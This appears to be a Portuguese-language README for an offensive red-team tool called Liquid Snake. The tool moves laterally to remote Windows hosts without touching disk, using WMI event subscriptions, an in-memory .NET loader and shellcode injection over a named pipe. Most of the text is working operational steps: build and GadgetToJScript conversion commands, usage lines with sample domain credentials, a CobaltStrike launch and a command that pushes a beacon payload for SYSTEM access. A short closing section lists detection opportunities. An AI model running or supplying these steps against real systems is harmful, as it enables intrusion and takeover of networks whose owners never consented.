
Ferramenta de movimento lateral sem arquivos usando WMI Event Subscriptions para executar assemblies .NET na memória, com injeção de shellcode via named pipes para comprometimento remoto do Windows.
Liquid Snake é um programa que visa realizar movimentação lateral contra sistemas Windows sem tocar no disco. A ferramenta depende da Subscrição de Eventos WMI para executar um assembly .NET na memória; o assembly .NET irá escutar por um shellcode em um named pipe e então executá-lo usando uma variação da injeção de shellcode por sequestro de thread.
O diagrama abaixo (esperamos) esclarece o fluxo de dados:

O projeto é composto por duas soluções separadas:
CSharpNamedPipeLoader - o componente que será transformado em VBS via GadgetToJScriptLiquidSnake - o componente responsável por criar a Subscrição de Eventos WMI no sistema remotoSimplesmente abra ambas as soluções no Visual Studio e compile-as. Certifique-se de direcionar a arquitetura x64 para o CSharpNamedPipeLoader. Se tudo correr bem, você deverá ter dois EXEs separados: CSharpNamedPipeLoader.exe e LiquidSnake.exe
Usando o GadgetToJscript, converta o CSharpNamedPipeLoader.exe para VBS usando o seguinte comando:
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs
Teste a desserialização .NET usando cscript.exe e certifique-se de que tudo funciona como esperado:
cscript.exe test.vbs
Em seguida, codifique o arquivo vbs em base64 e coloque-o na variável vbscript64 do Program.cs do LiquidSnake na linha 29.
Já fiz isso para você, então você pode simplesmente compilar a solução LiquidSnake e usá-la como está.
O uso deste projeto é direto, use LiquidSnake.exe contra um host sobre o qual você tenha acesso administrativo da seguinte forma:
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local
NOTA: Atualmente há um bug quando você define explicitamente credenciais de usuário; a ferramenta não funcionará nesse caso. É recomendado usar make_token ou qualquer outro mecanismo de impersonação.
Se tudo correr bem, você deverá obter uma saída similar à seguinte:
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day
O exemplo acima usa o execute-assembly do CobaltStrike para iniciar o LiquidSnake:

Enquanto isso, no host remoto um novo named pipe será criado com o seguinte nome:
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

Então, usando meu send_shellcode_via_pipe projeto dos meus BOFs você pode enviar um shellcode arbitrário no pipe remoto que será carregado e executado:
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin

Se tudo funcionou como esperado, você deverá obter um beacon SYSTEM:

NOTA: A versão atual do LiquidSnake contém artefato gerado pelo GadgetToJScript que tem como alvo a versão 4.x do .NET. Se seu host alvo tiver apenas a versão 3.5 instalada, isso falhará. Simplesmente repita o mesmo processo, mas usando a versão apropriada do .NET ao compilar o GadgetToJScript.
Existem muitas oportunidades de detecção para identificar o abuso desta ferramenta e, em geral, o uso desta técnica:
clr.dll relacionados ao processo scrcons.exescrcons.exeAlém disso, a maior desvantagem da implementação específica é que o shellcode é enviado em texto claro via SMB. Isso significa que se uma solução de monitoramento de rede for capaz de inspecionar esse tráfego, é provável que ele se destaque. Não testei muito contra o conjunto de regras do zeek/bro, mas estou bastante confiante de que será detectado imediatamente.
Na pasta detection-artefacts deixei o arquivo PCAP de uma captura do Wireshark e os eventos Sysmon gerados durante o ataque (usando a configuração padrão do Swift On Security).